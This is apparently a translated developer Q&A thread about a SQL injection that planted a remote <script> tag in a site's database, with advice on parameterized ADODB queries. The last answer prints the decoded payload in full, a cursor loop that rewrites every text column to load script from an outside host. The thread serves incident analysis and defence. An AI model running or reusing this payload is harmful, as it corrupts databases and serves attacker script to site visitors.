1

似乎有一个<script src="http://xinthesidersdown.com">被注入客户端服务器,我检查了日志以查看它被注入的位置和方式。不幸的是,当我搜索xinthesidersdown它是否被注入时,我没有看到它显示任何结果。有没有人有任何建议来找出入侵者是如何进入并将此代码注入数据库的?谢谢你。

4

3 回答 3

2

我也有同样的问题。

我们之前已经进行了几次数据库注入 - 但由于用 ADODB 命令执行替换了正常的打开记录集,我们能够阻止它们:

例子:

前:

szSQL = "SELECT ...."
adoRstM.CursorLocation = adUseClient
adoRstM.CursorType = adOpenStatic
adoRstM.LockType = adLockBatchOptimistic
adoRstM.Open szSQL, adoCon

现在

Set objCommand = Server.CreateObject("ADODB.COMMAND")
Set objCommand.ActiveConnection = adoCon
objCommand.CommandText = szSQL
objCommand.CommandType = adCmdText
Set param1 = objCommand.CreateParameter ("nMenu", adInteger, adParamInput)
param1.value = Cint(nMenu)
objCommand.Parameters.Append param1
Set param1 = objCommand.CreateParameter ("nSubMenu", adInteger, adParamInput)
param1.value = Cint(nSubMenu)
objCommand.Parameters.Append param1
Set adoRstM = objCommand.Execute()

但是我们不得不到处更换它!

我现在正在查看我们的网站——如果我们可能错过了一个。也许这可以帮助你...

于 2012-08-01T07:47:49.847 回答
2

在您的日志条目中查找单词“CAST”...

于 2012-08-01T08:22:34.040 回答
2

为了详细说明 Einav 的回答(我和她一起工作),注入有效负载通过使用 CAST 函数将十六进制格式有效负载转换为实际的恶意查询字符串进行混淆,然后由 SQL exec 命令执行。通用注入格式可以在 这里看到。

在这种情况下,特定的有效负载转换为:

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://xinthesidersdown.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

希望有帮助。

于 2012-08-01T10:37:04.450 回答